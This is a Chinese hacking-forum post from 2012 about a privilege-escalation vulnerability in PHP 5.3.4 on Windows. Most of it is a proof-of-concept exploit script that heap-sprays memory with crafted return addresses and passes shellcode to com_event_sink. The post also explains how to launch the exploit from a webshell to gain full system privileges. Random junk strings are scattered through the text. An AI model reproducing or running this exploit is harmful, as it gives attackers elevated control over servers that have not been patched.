找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1970|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
+ F3 X0 x5 E- b" B- W
0 s3 x& p) _9 \( ~# C测试方法如下:cmd /c x:\php\php.exe x:\test.php
4 t% L! D2 W8 o1 W3 S( P4 K/ U- V7 d* K% z- u# _$ R
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
6 L& q- B/ {# w: M这里是两个测试的截图:3 g" T: W& P, v. j

8 W: A0 b& {* [) U6 K  O: h- \' ?  c; g7 S8 [) k( |" R

* c( }# B$ Z  D, R1 Y) S
- C3 ^3 G6 u# ^7 O+ }+ b; a, H2 S4 t- U  ^: q$ R  ]6 i
成功利用此漏洞的攻击者将获得系统的最高权限% Q% I5 \2 s7 t& K2 G" E
: @& C' f" J" h( E  x
0 S& _5 {4 f2 m/ e9 d4 l; S' O. p% Q* D
9 {3 E' {7 J4 T/ K/ ~8 v/ Q7 P* n

8 W3 o' e) c2 ?
7 \" j  X  `; W关于漏洞分析稍后附上。一下是PoC代码:/ T$ w. S- q* ~6 C, g( ^5 z
  d' ], u9 W0 X5 {! \- q0 m: H1 j; i
<?php8 F1 `  M9 ~4 K3 `
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
  D; d& a# a, ~' `1 t//$eip ="\x44\x43\x42\x41";7 F- x% A: |! g/ v
$eip= "\x4b\xe8\x57\x78";
5 x' y7 w$ z, ]! q$ y& z' a$eax ="\x80\x01\x8d\x04";% ]$ u) r+ j7 [+ @
$deodrant="";9 ]# E& t: k) X/ ?& d7 `: b# a% H
$axespray = str_repeat($eip.$eax,0x80);6 K( F* |7 h" z' H" W- Z$ i  l9 b
//048d0190
; E6 G: e* Q7 ]  i0 _; K! techo strlen($axespray);2 [# b! ]0 \# V# o& b; }# l4 ?
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";8 `  z6 P( c# c- G" q# g7 @5 y5 o9 Q! P# I
echo "Silic Group Hacker Army - BlackBap.Org";
- P; ?2 U: x1 r* M8 ?//19200 ==4B32 4b007 f8 l' Q: W1 G# k
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}( f9 ^( v5 @* V4 s) @6 K
$terminate = "T";
# x' Z* Y: o; g6 K. Z, o9 b$u[] =$deodrant;
% w5 g  g$ e0 _, Z" L. E1 p! G$r[] =$deodrant.$terminate;
5 Q2 P5 M2 p) q% }) q3 x6 w: H: V7 S$a[] =$deodrant.$terminate;' ?& b# s4 U7 f9 x: X6 _
$s[] =$deodrant.$terminate;- [& w! s5 a7 `5 H, }4 y0 c
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
: J5 F/ A) z4 G1 @$vVar = new VARIANT(0x048d0000+180);
* n% C! N, E, H//弹窗代码(Shellcode)3 H! w' k/ _: I; g( w
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";% S; ~* B0 G8 m' U: G! G: }# ^/ B/ o; f
$var2 = new VARIANT(0x41414242);" I, s  @+ |' T% P
com_event_sink($vVar,$var2,$buffer);' W! }. M2 n: w2 ~9 w2 `; p$ L8 \
?>
2 j: `' C9 j( p+ u

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表